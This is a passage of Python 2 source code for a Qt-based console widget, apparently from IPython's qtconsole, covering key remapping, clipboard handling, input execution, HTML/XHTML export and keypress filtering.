# When the control key is down, these keys are mapped.
_ctrl_down_remap = { QtCore.Qt.Key_B : QtCore.Qt.Key_Left,
QtCore.Qt.Key_F : QtCore.Qt.Key_Right,
QtCore.Qt.Key_A : QtCore.Qt.Key_Home,
QtCore.Qt.Key_P : QtCore.Qt.Key_Up,
QtCore.Qt.Key_N : QtCore.Qt.Key_Down,
QtCore.Qt.Key_D : QtCore.Qt.Key_Delete, }
if not sys.platform == 'darwin':
# On OS X, Ctrl-E already does the right thing, whereas End moves the
# cursor to the bottom of the buffer.
_ctrl_down_remap[QtCore.Qt.Key_E] = QtCore.Qt.Key_End
# The shortcuts defined by this widget. We need to keep track of these to
# support 'override_shortcuts' above.
_shortcuts = set(_ctrl_down_remap.keys() +
[ QtCore.Qt.Key_C, QtCore.Qt.Key_G, QtCore.Qt.Key_O,
QtCore.Qt.Key_V ])
#---------------------------------------------------------------------------
# 'QObject' interface
#---------------------------------------------------------------------------
def __init__(self, parent=None):
""" Create a ConsoleWidget.
Parameters:
-----------
parent : QWidget, optional [default None]
The parent for this widget.
"""
super(ConsoleWidget, self).__init__(parent)
# Create the layout and underlying text widget.
layout = QtGui.QStackedLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
self._control = self._create_control()
self._page_control = None
self._splitter = None
if self.paging in ('hsplit', 'vsplit'):
self._splitter = QtGui.QSplitter()
if self.paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
else:
self._splitter.setOrientation(QtCore.Qt.Vertical)
self._splitter.addWidget(self._control)
layout.addWidget(self._splitter)
else:
layout.addWidget(self._control)
# Create the paging widget, if necessary.
if self.paging in ('inside', 'hsplit', 'vsplit'):
self._page_control = self._create_page_control()
if self._splitter:
self._page_control.hide()
self._splitter.addWidget(self._page_control)
else:
layout.addWidget(self._page_control)
# Initialize protected variables. Some variables contain useful state
# information for subclasses; they should be considered read-only.
self._continuation_prompt = '> '
self._continuation_prompt_html = None
self._executing = False
self._filter_drag = False
self._filter_resize = False
self._prompt = ''
self._prompt_html = None
self._prompt_pos = 0
self._prompt_sep = ''
self._reading = False
self._reading_callback = None
self._tab_width = 8
self._text_completing_pos = 0
self._filename = 'python.html'
self._png_mode=None
# Set a monospaced font.
self.reset_font()
# Configure actions.
action = QtGui.QAction('Print', None)
action.setEnabled(True)
printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print)
if printkey.matches("Ctrl+P") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so that the match gets a false positive.
printkey = "Ctrl+Shift+P"
action.setShortcut(printkey)
action.triggered.connect(self.print_)
self.addAction(action)
self._print_action = action
action = QtGui.QAction('Save as HTML/XML', None)
action.setEnabled(self.can_export())
action.setShortcut(QtGui.QKeySequence.Save)
action.triggered.connect(self.export)
self.addAction(action)
self._export_action = action
action = QtGui.QAction('Select All', None)
action.setEnabled(True)
action.setShortcut(QtGui.QKeySequence.SelectAll)
action.triggered.connect(self.select_all)
self.addAction(action)
self._select_all_action = action
def eventFilter(self, obj, event):
""" Reimplemented to ensure a console-like behavior in the underlying
text widgets.
"""
etype = event.type()
if etype == QtCore.QEvent.KeyPress:
# Re-map keys for all filtered widgets.
key = event.key()
if self._control_key_down(event.modifiers()) and \
key in self._ctrl_down_remap:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
self._ctrl_down_remap[key],
QtCore.Qt.NoModifier)
QtGui.QApplication.sendEvent(obj, new_event)
return True
elif obj == self._control:
return self._event_filter_console_keypress(event)
elif obj == self._page_control:
return self._event_filter_page_keypress(event)
# Make middle-click paste safe.
elif etype == QtCore.QEvent.MouseButtonRelease and \
event.button() == QtCore.Qt.MidButton and \
obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
self._control.setTextCursor(cursor)
self.paste(QtGui.QClipboard.Selection)
return True
# Manually adjust the scrollbars *after* a resize event is dispatched.
elif etype == QtCore.QEvent.Resize and not self._filter_resize:
self._filter_resize = True
QtGui.QApplication.sendEvent(obj, event)
self._adjust_scrollbars()
self._filter_resize = False
return True
# Override shortcuts for all filtered widgets.
elif etype == QtCore.QEvent.ShortcutOverride and \
self.override_shortcuts and \
self._control_key_down(event.modifiers()) and \
event.key() in self._shortcuts:
event.accept()
# Ensure that drags are safe. The problem is that the drag starting
# logic, which determines whether the drag is a Copy or Move, is locked
# down in QTextControl. If the widget is editable, which it must be if
# we're not executing, the drag will be a Move. The following hack
# prevents QTextControl from deleting the text by clearing the selection
# when a drag leave event originating from this widget is dispatched.
# The fact that we have to clear the user's selection is unfortunate,
# but the alternative--trying to prevent Qt from using its hardwired
# drag logic and writing our own--is worse.
elif etype == QtCore.QEvent.DragEnter and \
obj == self._control.viewport() and \
event.source() == self._control.viewport():
self._filter_drag = True
elif etype == QtCore.QEvent.DragLeave and \
obj == self._control.viewport() and \
self._filter_drag:
cursor = self._control.textCursor()
cursor.clearSelection()
self._control.setTextCursor(cursor)
self._filter_drag = False
# Ensure that drops are safe.
elif etype == QtCore.QEvent.Drop and obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
if self._in_buffer(cursor.position()):
text = event.mimeData().text()
self._insert_plain_text_into_buffer(cursor, text)
# Qt is expecting to get something here--drag and drop occurs in its
# own event loop. Send a DragLeave event to end it.
QtGui.QApplication.sendEvent(obj, QtGui.QDragLeaveEvent())
return True
return super(ConsoleWidget, self).eventFilter(obj, event)
#---------------------------------------------------------------------------
# 'QWidget' interface
#---------------------------------------------------------------------------
def sizeHint(self):
""" Reimplemented to suggest a size that is 80 characters wide and
25 lines high.
"""
font_metrics = QtGui.QFontMetrics(self.font)
margin = (self._control.frameWidth() +
self._control.document().documentMargin()) * 2
style = self.style()
splitwidth = style.pixelMetric(QtGui.QStyle.PM_SplitterWidth)
# Note 1: Despite my best efforts to take the various margins into
# account, the width is still coming out a bit too small, so we include
# a fudge factor of one character here.
# Note 2: QFontMetrics.maxWidth is not used here or anywhere else due
# to a Qt bug on certain Mac OS systems where it returns 0.
width = font_metrics.width(' ') * 81 + margin
width += style.pixelMetric(QtGui.QStyle.PM_ScrollBarExtent)
if self.paging == 'hsplit':
width = width * 2 + splitwidth
height = font_metrics.height() * 25 + margin
if self.paging == 'vsplit':
height = height * 2 + splitwidth
return QtCore.QSize(width, height)
#---------------------------------------------------------------------------
# 'ConsoleWidget' public interface
#---------------------------------------------------------------------------
def can_copy(self):
""" Returns whether text can be copied to the clipboard.
"""
return self._control.textCursor().hasSelection()
def can_cut(self):
""" Returns whether text can be cut to the clipboard.
"""
cursor = self._control.textCursor()
return (cursor.hasSelection() and
self._in_buffer(cursor.anchor()) and
self._in_buffer(cursor.position()))
def can_paste(self):
""" Returns whether text can be pasted from the clipboard.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
return bool(QtGui.QApplication.clipboard().text())
return False
def can_export(self):
"""Returns whether we can export. Currently only rich widgets
can export html.
"""
return self.kind == "rich"
def clear(self, keep_input=True):
""" Clear the console.
Parameters:
-----------
keep_input : bool, optional (default True)
If set, restores the old input buffer if a new prompt is written.
"""
if self._executing:
self._control.clear()
else:
if keep_input:
input_buffer = self.input_buffer
self._control.clear()
self._show_prompt()
if keep_input:
self.input_buffer = input_buffer
def copy(self):
""" Copy the currently selected text to the clipboard.
"""
self._control.copy()
def cut(self):
""" Copy the currently selected text to the clipboard and delete it
if it's inside the input buffer.
"""
self.copy()
if self.can_cut():
self._control.textCursor().removeSelectedText()
def execute(self, source=None, hidden=False, interactive=False):
""" Executes source or the input buffer, possibly prompting for more
input.
Parameters:
-----------
source : str, optional
The source to execute. If not specified, the input buffer will be
used. If specified and 'hidden' is False, the input buffer will be
replaced with the source before execution.
hidden : bool, optional (default False)
If set, no output will be shown and the prompt will not be modified.
In other words, it will be completely invisible to the user that
an execution has occurred.
interactive : bool, optional (default False)
Whether the console is to treat the source as having been manually
entered by the user. The effect of this parameter depends on the
subclass implementation.
Raises:
-------
RuntimeError
If incomplete input is given and 'hidden' is True. In this case,
it is not possible to prompt for more input.
Returns:
--------
A boolean indicating whether the source was executed.
"""
# WARNING: The order in which things happen here is very particular, in
# large part because our syntax highlighting is fragile. If you change
# something, test carefully!
# Decide what to execute.
if source is None:
source = self.input_buffer
if not hidden:
# A newline is appended later, but it should be considered part
# of the input buffer.
source += '\n'
elif not hidden:
self.input_buffer = source
# Execute the source or show a continuation prompt if it is incomplete.
complete = self._is_complete(source, interactive)
if hidden:
if complete:
self._execute(source, hidden)
else:
error = 'Incomplete noninteractive input: "%s"'
raise RuntimeError(error % source)
else:
if complete:
self._append_plain_text('\n')
self._executing_input_buffer = self.input_buffer
self._executing = True
self._prompt_finished()
# The maximum block count is only in effect during execution.
# This ensures that _prompt_pos does not become invalid due to
# text truncation.
self._control.document().setMaximumBlockCount(self.buffer_size)
# Setting a positive maximum block count will automatically
# disable the undo/redo history, but just to be safe:
self._control.setUndoRedoEnabled(False)
# Perform actual execution.
self._execute(source, hidden)
else:
# Do this inside an edit block so continuation prompts are
# removed seamlessly via undo/redo.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
cursor.endEditBlock()
# Do not do this inside the edit block. It works as expected
# when using a QPlainTextEdit control, but does not have an
# effect when using a QTextEdit. I believe this is a Qt bug.
self._control.moveCursor(QtGui.QTextCursor.End)
return complete
def _get_input_buffer(self):
""" The text that the user has entered entered at the current prompt.
"""
# If we're executing, the input buffer may not even exist anymore due to
# the limit imposed by 'buffer_size'. Therefore, we store it.
if self._executing:
return self._executing_input_buffer
cursor = self._get_end_cursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Strip out continuation prompts.
return input_buffer.replace('\n' + self._continuation_prompt, '\n')
def _set_input_buffer(self, string):
""" Replaces the text in the input buffer with 'string'.
"""
# For now, it is an error to modify the input buffer during execution.
if self._executing:
raise RuntimeError("Cannot change input buffer during execution.")
# Remove old text.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# Insert new text with continuation prompts.
self._insert_plain_text_into_buffer(self._get_prompt_cursor(), string)
cursor.endEditBlock()
self._control.moveCursor(QtGui.QTextCursor.End)
input_buffer = property(_get_input_buffer, _set_input_buffer)
def _get_font(self):
""" The base font being used by the ConsoleWidget.
"""
return self._control.document().defaultFont()
def _set_font(self, font):
""" Sets the base font for the ConsoleWidget to the specified QFont.
"""
font_metrics = QtGui.QFontMetrics(font)
self._control.setTabStopWidth(self.tab_width * font_metrics.width(' '))
self._control.document().setDefaultFont(font)
if self._page_control:
self._page_control.document().setDefaultFont(font)
self.font_changed.emit(font)
font = property(_get_font, _set_font)
def paste(self, mode=QtGui.QClipboard.Clipboard):
""" Paste the contents of the clipboard into the input region.
Parameters:
-----------
mode : QClipboard::Mode, optional [default QClipboard::Clipboard]
Controls which part of the system clipboard is used. This can be
used to access the selection clipboard in X11 and the Find buffer
in Mac OS. By default, the regular clipboard is used.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
# Make sure the paste is safe.
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
# Remove any trailing newline, which confuses the GUI and forces the
# user to backspace.
text = QtGui.QApplication.clipboard().text(mode).rstrip()
self._insert_plain_text_into_buffer(cursor, dedent(text))
def print_(self, printer = None):
""" Print the contents of the ConsoleWidget to the specified QPrinter.
"""
if (not printer):
printer = QtGui.QPrinter()
if(QtGui.QPrintDialog(printer).exec_() != QtGui.QDialog.Accepted):
return
self._control.print_(printer)
def export(self, parent = None):
"""Export HTML/XML in various modes from one Dialog."""
parent = parent or None # sometimes parent is False
dialog = QtGui.QFileDialog(parent, 'Save Console as...')
dialog.setAcceptMode(QtGui.QFileDialog.AcceptSave)
filters = [
'HTML with PNG figures (*.html *.htm)',
'XHTML with inline SVG figures (*.xhtml *.xml)'
]
dialog.setNameFilters(filters)
if self._filename:
dialog.selectFile(self._filename)
root,ext = os.path.splitext(self._filename)
if ext.lower() in ('.xml', '.xhtml'):
dialog.selectNameFilter(filters[-1])
if dialog.exec_():
filename = str(dialog.selectedFiles()[0])
self._filename = filename
choice = str(dialog.selectedNameFilter())
if choice.startswith('XHTML'):
exporter = self.export_xhtml
else:
exporter = self.export_html
try:
return exporter(filename)
except Exception, e:
title = self.window().windowTitle()
msg = "Error while saving to: %s\n"%filename+str(e)
reply = QtGui.QMessageBox.warning(self, title, msg,
QtGui.QMessageBox.Ok, QtGui.QMessageBox.Ok)
return None
def export_html(self, filename):
""" Export the contents of the ConsoleWidget as HTML.
Parameters:
-----------
filename : str
The file to be saved.
inline : bool, optional [default True]
If True, include images as inline PNGs. Otherwise,
include them as links to external PNG files, mimicking
web browsers' "Web Page, Complete" behavior.
"""
# N.B. this is overly restrictive, but Qt's output is
# predictable...
img_re = re.compile(r'<img src="(?P<name>[\d]+)" />')
html = self.fix_html_encoding(
str(self._control.toHtml().toUtf8()))
if self._png_mode:
# preference saved, don't ask again
if img_re.search(html):
inline = (self._png_mode == 'inline')
else:
inline = True
elif img_re.search(html):
# there are images
widget = QtGui.QWidget()
layout = QtGui.QVBoxLayout(widget)
title = self.window().windowTitle()
msg = "Exporting HTML with PNGs"
info = "Would you like inline PNGs (single large html file) or "+\
"external image files?"
checkbox = QtGui.QCheckBox("&Don't ask again")
checkbox.setShortcut('D')
ib = QtGui.QPushButton("&Inline", self)
ib.setShortcut('I')
eb = QtGui.QPushButton("&External", self)
eb.setShortcut('E')
box = QtGui.QMessageBox(QtGui.QMessageBox.Question, title, msg)
box.setInformativeText(info)
box.addButton(ib,QtGui.QMessageBox.NoRole)
box.addButton(eb,QtGui.QMessageBox.YesRole)
box.setDefaultButton(ib)
layout.setSpacing(0)
layout.addWidget(box)
layout.addWidget(checkbox)
widget.setLayout(layout)
widget.show()
reply = box.exec_()
inline = (reply == 0)
if checkbox.checkState():
# don't ask anymore, always use this choice
if inline:
self._png_mode='inline'
else:
self._png_mode='external'
else:
# no images
inline = True
if inline:
path = None
else:
root,ext = os.path.splitext(filename)
path = root+"_files"
if os.path.isfile(path):
raise OSError("%s exists, but is not a directory."%path)
f = open(filename, 'w')
try:
f.write(img_re.sub(
lambda x: self.image_tag(x, path = path, format = "png"),
html))
except Exception, e:
f.close()
raise e
else:
f.close()
return filename
def export_xhtml(self, filename):
""" Export the contents of the ConsoleWidget as XHTML with inline SVGs.
"""
f = open(filename, 'w')
try:
# N.B. this is overly restrictive, but Qt's output is
# predictable...
img_re = re.compile(r'<img src="(?P<name>[\d]+)" />')
html = str(self._control.toHtml().toUtf8())
# Hack to make xhtml header -- note that we are not doing
# any check for valid xml
offset = html.find("<html>")
assert(offset > -1)
html = ('<html xmlns="http://www.w3.org/1999/xhtml">\n'+
html[offset+6:])
# And now declare UTF-8 encoding
html = self.fix_html_encoding(html)
f.write(img_re.sub(
lambda x: self.image_tag(x, path = None, format = "svg"),
html))
except Exception, e:
f.close()
raise e
else:
f.close()
return filename
def fix_html_encoding(self, html):
""" Return html string, with a UTF-8 declaration added to <HEAD>.
Assumes that html is Qt generated and has already been UTF-8 encoded
and coerced to a python string. If the expected head element is
not found, the given object is returned unmodified.
This patching is needed for proper rendering of some characters
(e.g., indented commands) when viewing exported HTML on a local
system (i.e., without seeing an encoding declaration in an HTTP
header).
C.f. http://www.w3.org/International/O-charset for details.
"""
offset = html.find("<head>")
if(offset > -1):
html = (html[:offset+6]+
'\n<meta http-equiv="Content-Type" '+
'content="text/html; charset=utf-8" />\n'+
html[offset+6:])
return html
def image_tag(self, match, path = None, format = "png"):
""" Return (X)HTML mark-up for the image-tag given by match.
Parameters
----------
match : re.SRE_Match
A match to an HTML image tag as exported by Qt, with
match.group("Name") containing the matched image ID.
path : string|None, optional [default None]
If not None, specifies a path to which supporting files
may be written (e.g., for linked images).
If None, all images are to be included inline.
format : "png"|"svg", optional [default "png"]
Format for returned or referenced images.
Subclasses supporting image display should override this
method.
"""
# Default case -- not enough information to generate tag
return ""
def prompt_to_top(self):
""" Moves the prompt to the top of the viewport.
"""
if not self._executing:
prompt_cursor = self._get_prompt_cursor()
if self._get_cursor().blockNumber() < prompt_cursor.blockNumber():
self._set_cursor(prompt_cursor)
self._set_top_cursor(prompt_cursor)
def redo(self):
""" Redo the last operation. If there is no operation to redo, nothing
happens.
"""
self._control.redo()
def reset_font(self):
""" Sets the font to the default fixed-width font for this platform.
"""
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
family, fallback = 'Consolas', 'Courier'
elif sys.platform == 'darwin':
# OSX always has Monaco, no need for a fallback
family, fallback = 'Monaco', None
else:
# FIXME: remove Consolas as a default on Linux once our font
# selections are configurable by the user.
family, fallback = 'Consolas', 'Monospace'
# Check whether we got what we wanted using QFontInfo, since
# exactMatch() is overly strict and returns false in too many cases.
font = QtGui.QFont(family)
font_info = QtGui.QFontInfo(font)
if fallback is not None and font_info.family() != family:
font = QtGui.QFont(fallback)
font.setPointSize(QtGui.QApplication.font().pointSize())
font.setStyleHint(QtGui.QFont.TypeWriter)
self._set_font(font)
def change_font_size(self, delta):
"""Change the font size by the specified amount (in points).
"""
font = self.font
font.setPointSize(font.pointSize() + delta)
self._set_font(font)
def select_all(self):
""" Selects all the text in the buffer.
"""
self._control.selectAll()
def _get_tab_width(self):
""" The width (in terms of space characters) for tab characters.
"""
return self._tab_width
def _set_tab_width(self, tab_width):
""" Sets the width (in terms of space characters) for tab characters.
"""
font_metrics = QtGui.QFontMetrics(self.font)
self._control.setTabStopWidth(tab_width * font_metrics.width(' '))
self._tab_width = tab_width
tab_width = property(_get_tab_width, _set_tab_width)
def undo(self):
""" Undo the last operation. If there is no operation to undo, nothing
happens.
"""
self._control.undo()
#---------------------------------------------------------------------------
# 'ConsoleWidget' abstract interface
#---------------------------------------------------------------------------
def _is_complete(self, source, interactive):
""" Returns whether 'source' can be executed. When triggered by an
Enter/Return key press, 'interactive' is True; otherwise, it is
False.
"""
raise NotImplementedError
def _execute(self, source, hidden):
""" Execute 'source'. If 'hidden', do not show any output.
"""
raise NotImplementedError
def _prompt_started_hook(self):
""" Called immediately after a new prompt is displayed.
"""
pass
def _prompt_finished_hook(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
pass
def _up_pressed(self):
""" Called when the up key is pressed. Returns whether to continue
processing the event.
"""
return True
def _down_pressed(self):
""" Called when the down key is pressed. Returns whether to continue
processing the event.
"""
return True
def _tab_pressed(self):
""" Called when the tab key is pressed. Returns whether to continue
processing the event.
"""
return False
#--------------------------------------------------------------------------
# 'ConsoleWidget' protected interface
#--------------------------------------------------------------------------
def _append_html(self, html):
""" Appends html at the end of the console buffer.
"""
cursor = self._get_end_cursor()
self._insert_html(cursor, html)
def _append_html_fetching_plain_text(self, html):
""" Appends 'html', then returns the plain text version of it.
"""
cursor = self._get_end_cursor()
return self._insert_html_fetching_plain_text(cursor, html)
def _append_plain_text(self, text):
""" Appends plain text at the end of the console buffer, processing
ANSI codes if enabled.
"""
cursor = self._get_end_cursor()
self._insert_plain_text(cursor, text)
def _append_plain_text_keeping_prompt(self, text):
""" Writes 'text' after the current prompt, then restores the old prompt
with its old input buffer.
"""
input_buffer = self.input_buffer
self._append_plain_text('\n')
self._prompt_finished()
self._append_plain_text(text)
self._show_prompt()
self.input_buffer = input_buffer
def _cancel_text_completion(self):
""" If text completion is progress, cancel it.
"""
if self._text_completing_pos:
self._clear_temporary_buffer()
self._text_completing_pos = 0
def _clear_temporary_buffer(self):
""" Clears the "temporary text" buffer, i.e. all the text following
the prompt region.
"""
# Select and remove all text below the input buffer.
cursor = self._get_prompt_cursor()
prompt = self._continuation_prompt.lstrip()
while cursor.movePosition(QtGui.QTextCursor.NextBlock):
temp_cursor = QtGui.QTextCursor(cursor)
temp_cursor.select(QtGui.QTextCursor.BlockUnderCursor)
text = temp_cursor.selection().toPlainText().lstrip()
if not text.startswith(prompt):
break
else:
# We've reached the end of the input buffer and no text follows.
return
cursor.movePosition(QtGui.QTextCursor.Left) # Grab the newline.
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# After doing this, we have no choice but to clear the undo/redo
# history. Otherwise, the text is not "temporary" at all, because it
# can be recalled with undo/redo. Unfortunately, Qt does not expose
# fine-grained control to the undo/redo system.
if self._control.isUndoRedoEnabled():
self._control.setUndoRedoEnabled(False)
self._control.setUndoRedoEnabled(True)
def _complete_with_items(self, cursor, items):
""" Performs completion with 'items' at the specified cursor location.
"""
self._cancel_text_completion()
if len(items) == 1:
cursor.setPosition(self._control.textCursor().position(),
QtGui.QTextCursor.KeepAnchor)
cursor.insertText(items[0])
elif len(items) > 1:
current_pos = self._control.textCursor().position()
prefix = commonprefix(items)
if prefix:
cursor.setPosition(current_pos, QtGui.QTextCursor.KeepAnchor)
cursor.insertText(prefix)
current_pos = cursor.position()
cursor.beginEditBlock()
self._append_plain_text('\n')
self._page(self._format_as_columns(items))
cursor.endEditBlock()
cursor.setPosition(current_pos)
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
self._text_completing_pos = current_pos
def _context_menu_make(self, pos):
""" Creates a context menu for the given QPoint (in widget coordinates).
"""
menu = QtGui.QMenu(self)
cut_action = menu.addAction('Cut', self.cut)
cut_action.setEnabled(self.can_cut())
cut_action.setShortcut(QtGui.QKeySequence.Cut)
copy_action = menu.addAction('Copy', self.copy)
copy_action.setEnabled(self.can_copy())
copy_action.setShortcut(QtGui.QKeySequence.Copy)
paste_action = menu.addAction('Paste', self.paste)
paste_action.setEnabled(self.can_paste())
paste_action.setShortcut(QtGui.QKeySequence.Paste)
menu.addSeparator()
menu.addAction(self._select_all_action)
menu.addSeparator()
menu.addAction(self._export_action)
menu.addAction(self._print_action)
return menu
def _control_key_down(self, modifiers, include_command=False):
""" Given a KeyboardModifiers flags object, return whether the Control
key is down.
Parameters:
-----------
include_command : bool, optional (default True)
Whether to treat the Command key as a (mutually exclusive) synonym
for Control when in Mac OS.
"""
# Note that on Mac OS, ControlModifier corresponds to the Command key
# while MetaModifier corresponds to the Control key.
if sys.platform == 'darwin':
down = include_command and (modifiers & QtCore.Qt.ControlModifier)
return bool(down) ^ bool(modifiers & QtCore.Qt.MetaModifier)
else:
return bool(modifiers & QtCore.Qt.ControlModifier)
def _create_control(self):
""" Creates and connects the underlying text widget.
"""
# Create the underlying control.
if self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.setAcceptRichText(False)
# Install event filters. The filter on the viewport is needed for
# mouse events and drag events.
control.installEventFilter(self)
control.viewport().installEventFilter(self)
# Connect signals.
control.cursorPositionChanged.connect(self._cursor_position_changed)
control.customContextMenuRequested.connect(
self._custom_context_menu_requested)
control.copyAvailable.connect(self.copy_available)
control.redoAvailable.connect(self.redo_available)
control.undoAvailable.connect(self.undo_available)
# Hijack the document size change signal to prevent Qt from adjusting
# the viewport's scrollbar. We are relying on an implementation detail
# of Q(Plain)TextEdit here, which is potentially dangerous, but without
# this functionality we cannot create a nice terminal interface.
layout = control.document().documentLayout()
layout.documentSizeChanged.disconnect()
layout.documentSizeChanged.connect(self._adjust_scrollbars)
# Configure the control.
control.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _create_page_control(self):
""" Creates and connects the underlying paging widget.
"""
if self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.installEventFilter(self)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _event_filter_console_keypress(self, event):
""" Filter key events for the underlying text widget to create a
console-like interface.
"""
intercepted = False
cursor = self._control.textCursor()
position = cursor.position()
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
shift_down = event.modifiers() & QtCore.Qt.ShiftModifier
#------ Special sequences ----------------------------------------------
if event.matches(QtGui.QKeySequence.Copy):
self.copy()
intercepted = True
elif event.matches(QtGui.QKeySequence.Cut):
self.cut()
intercepted = True
elif event.matches(QtGui.QKeySequence.Paste):
self.paste()
intercepted = True
#------ Special modifier logic -----------------------------------------
elif key in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
intercepted = True
# Special handling when tab completing in text mode.
self._cancel_text_completion()
if self._in_buffer(position):
if self._reading:
self._append_plain_text('\n')
self._reading = False
if self._reading_callback:
self._reading_callback()
# If the input buffer is a single line or there is only
# whitespace after the cursor, execute. Otherwise, split the
# line with a continuation prompt.
elif not self._executing:
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
at_end = len(cursor.selectedText().strip()) == 0
single_line = (self._get_end_cursor().blockNumber() ==
self._get_prompt_cursor().blockNumber())
if (at_end or shift_down or single_line) and not ctrl_down:
self.execute(interactive = not shift_down)
else:
# Do this inside an edit block for clean undo/redo.
cursor.beginEditBlock()
cursor.setPosition(position)
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
cursor.endEditBlock()
# Ensure that the whole input buffer is visible.
# FIXME: This will not be usable if the input buffer is
# taller than the console widget.
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
#------ Control/Cmd modifier -------------------------------------------
elif ctrl_down:
if key == QtCore.Qt.Key_G:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_K:
if self._in_buffer(position):
cursor.movePosition(QtGui.QTextCursor.EndOfLine,
QtGui.QTextCursor.KeepAnchor)
if not cursor.hasSelection():
# Line deletion (remove continuation prompt)
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
elif key == QtCore.Qt.Key_L:
self.prompt_to_top()
intercepted = True
elif key == QtCore.Qt.Key_O:
if self._page_control and self._page_control.isVisible():
self._page_control.setFocus()
intercepted = True
elif key == QtCore.Qt.Key_Y:
self.paste()
intercepted = True
elif key in (QtCore.Qt.Key_Backspace, QtCore.Qt.Key_Delete):
intercepted = True
elif key == QtCore.Qt.Key_Plus:
self.change_font_size(1)
intercepted = True
elif key == QtCore.Qt.Key_Minus:
self.change_font_size(-1)
intercepted = True
#------ Alt modifier ---------------------------------------------------
elif alt_down:
if key == QtCore.Qt.Key_B:
self._set_cursor(self._get_word_start_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_F:
self._set_cursor(self._get_word_end_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
intercepted = True
elif key == QtCore.Qt.Key_D:
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
intercepted = True
elif key == QtCore.Qt.Key_Delete:
intercepted = True
elif key == QtCore.Qt.Key_Greater:
self._control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._control.setTextCursor(self._get_prompt_cursor())
intercepted = True
#------ No modifiers ---------------------------------------------------
else:
if shift_down:
anchormode=QtGui.QTextCursor.KeepAnchor
else:
anchormode=QtGui.QTextCursor.MoveAnchor
if key == QtCore.Qt.Key_Escape:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_Up:
if self._reading or not self._up_pressed():
intercepted = True
else:
prompt_line = self._get_prompt_cursor().blockNumber()
intercepted = cursor.blockNumber() <= prompt_line
elif key == QtCore.Qt.Key_Down:
if self._reading or not self._down_pressed():
intercepted = True
else:
end_line = self._get_end_cursor().blockNumber()
intercepted = cursor.blockNumber() == end_line
elif key == QtCore.Qt.Key_Tab:
if not self._reading:
intercepted = not self._tab_pressed()
elif key == QtCore.Qt.Key_Left:
# Move to the previous line
line, col = cursor.blockNumber(), cursor.columnNumber()
if line > self._get_prompt_cursor().blockNumber() and \
col == len(self._continuation_prompt):
self._control.moveCursor(QtGui.QTextCursor.PreviousBlock,
mode=anchormode)
self._control.moveCursor(QtGui.QTextCursor.EndOfBlock,
mode=anchormode)
intercepted = True
# Regular left movement
else:
intercepted = not self._in_buffer(position - 1)
elif key == QtCore.Qt.Key_Right:
original_block_number = cursor.blockNumber()
cursor.movePosition(QtGui.QTextCursor.Right,
mode=anchormode)
if cursor.blockNumber() != original_block_number:
cursor.movePosition(QtGui.QTextCursor.Right,
n=len(self._continuation_prompt),
mode=anchormode)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Home:
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
start_pos = self._prompt_pos
else:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
start_pos = cursor.position()
start_pos += len(self._continuation_prompt)
cursor.setPosition(position)
if shift_down and self._in_buffer(position):
cursor.setPosition(start_pos, QtGui.QTextCursor.KeepAnchor)
else:
cursor.setPosition(start_pos)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
# Line deletion (remove continuation prompt)
line, col = cursor.blockNumber(), cursor.columnNumber()
if not self._reading and \
col == len(self._continuation_prompt) and \
line > self._get_prompt_cursor().blockNumber():
